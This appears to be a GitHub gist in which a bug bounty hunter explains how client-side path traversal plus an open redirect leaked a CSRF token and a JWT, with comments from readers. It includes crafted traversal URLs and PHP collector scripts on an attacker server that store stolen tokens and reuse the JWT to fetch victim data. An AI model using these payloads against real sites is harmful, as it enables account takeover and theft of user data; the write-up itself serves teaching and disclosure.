Skip to content

Instantly share code, notes, and snippets.

@stefanocoding
Created May 15, 2019 23:46
Show Gist options
  • Save stefanocoding/8cdc8acf5253725992432dedb1c9c781 to your computer and use it in GitHub Desktop.
Save stefanocoding/8cdc8acf5253725992432dedb1c9c781 to your computer and use it in GitHub Desktop.

You do not need to run 80 reconnaissance tools to get access to user accounts

An open redirect was almost everything I needed in two different bug bounty programs to get access to user accounts. In one of the cases a JWT was leaked, and in the other the CSRF token was leaked. The issue was mostly the same in both cases: not validating, or URI encoding, user input in the client-side, and sending sensitive information to my server using an open redirect.

CSRF token bug

  1. There is an open redirect on https://example.com/redirect?url=https://myserver.com/attack.php
  2. User loads https://example.com/?code=VALUE
  3. Javascript code in https://example.com/ makes a GET request to https://example.com/verify/VALUE with a header x-csrf-token set to the CSRF token for the session of the user
    GET /verify/VALUE HTTP/1.1
    Host: example.com
    x-csrf-token: the-csrf-token-of-the-user
    ...
    
    
  4. The issue is that if the user loads https://example.com/?code=../redirect%3furl%3dhttps://myserver.com/attack.php, the application makes the GET request of step 3 to https://example.com/redirect?url=https://myserver.com/attack.php, follows the redirection, and the x-csrf-token ends up being sent in a GET request to https://myserver.com/attack.php
  5. attack.php stores the value of x-csrf-token or does anything that is necessary for the attack
    <?php
      // These headers are specific to this request.
      // Open your web browser Console whenever you are testing a similar issue
      // to check if there is any CORS issues that you have to fix in your response.
      header('Access-Control-Allow-Origin: *');
      header('Access-Control-Allow-Headers: x-requested-with,x-csrf-token');
      
      foreach (getallheaders() as $key => $value) {
        if ($key == 'x-csrf-token') {
          $token_file = fopen('csrf_token.txt', 'w');
          fwrite($token_file, $value);
          fclose($token_file);
        }
      }
    ?>
    For my proof of concept, I took the value of x-csrf-token and made changes to the profile of the user/victim on https://example.com.

JWT bug

  1. There is an open redirect on https://api.example.com/redirect?reference=xxxx-xxxx-xxxx-xxxx. This open redirect was different because first I had to make a request to another endpoint with the URL to which I wanted to redirect, and the "reference" value was returned in the response. Once I had that reference value, any request to https://api.example.com/redirect?reference=reference-value by any user, redirected to the URL I had sent in the first request.
  2. User loads https://example.com/app/VALUE
  3. Javascript code makes a GET request to https://api.example.com/check/VALUE/please with the header Authorization set to Bearer JWT-of-the-authenticated-user
    GET /check/VALUE/please HTTP/1.1
    Host: api.example.com
    Authorization: Bearer JWT-of-the-authenticated-user
    ...
    
    
  4. The issue is that the attacker can create a redirect to https://myserver.com/attack.php, and when the user loads https://example.com/app/..%2fredirect%3freference%3dx-x-x-x%26 (%26 is equal to & once decoded, which was necessary to remove "/please" from the value of "reference"), the application makes a GET request to https://api.example.com/redirect?reference=x-x-x-x which redirects to https://myserver.com/attack.php with the JWT in the Authorization header
  5. attack.php stores the JWT or does anything that is possible with it
    <?php
      header('Access-Control-Allow-Origin: *');
      header('Access-Control-Allow-Headers: authorization');
      
      foreach (getallheaders() as $key => $value) {
        if ($key == 'Authorization') {
          $opts = array(
            'http'=>array(
               'method'=>'GET',
               'header'=>'Authorization: '.$value
            )
         );
         $context = stream_context_create($opts);
         $file = file_get_contents('https://other-api.example.com/info', false, $context);
         $fh = fopen('out.txt', 'w');
         fwrite($fh, $file);
         fclose($fh);
         $json = json_decode($file, true);
         $sent = mail($json['email'], 'Hi '.$json['name'], 'Your user id is '.$json['id'], 'From: attacker@myserver.com');
         if ($sent) {
            echo 'Email sent';
         } else {
            echo 'Couldn\'t send email';
         }
       }
      }
    ?>
    For my proof of concept, I took the JWT, got information about the user/victim from other API which accepted the same JWT in the Authorization header, and sent an email to the user/victim. The previous code is exactly what I used as proof of concept.

End

It is been a long time since I shared something that could be useful for new bug bounty hunters, I hope it is useful.

@Th3redTea
Copy link

After three years, I say thank you for this. Always share, sooner or later it will help somebody. Cheers.

@stefanocoding
Copy link
Author

@Th3redTea you're welcome! I'm still finding bugs like this one. So, it's worth the time looking for them.
I haven't written anything in a long time because most bugs I found are well documented. If I find something interesting that is not well documented, I will write about it.
Thank you for taking the time to comment with a "thank you".
Cheers.

@aravindb26
Copy link

Nice but i didn't understood about the JWT bug mate

@stefanocoding
Copy link
Author

@aravindb26 maybe read it more times or come back to it in the future.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment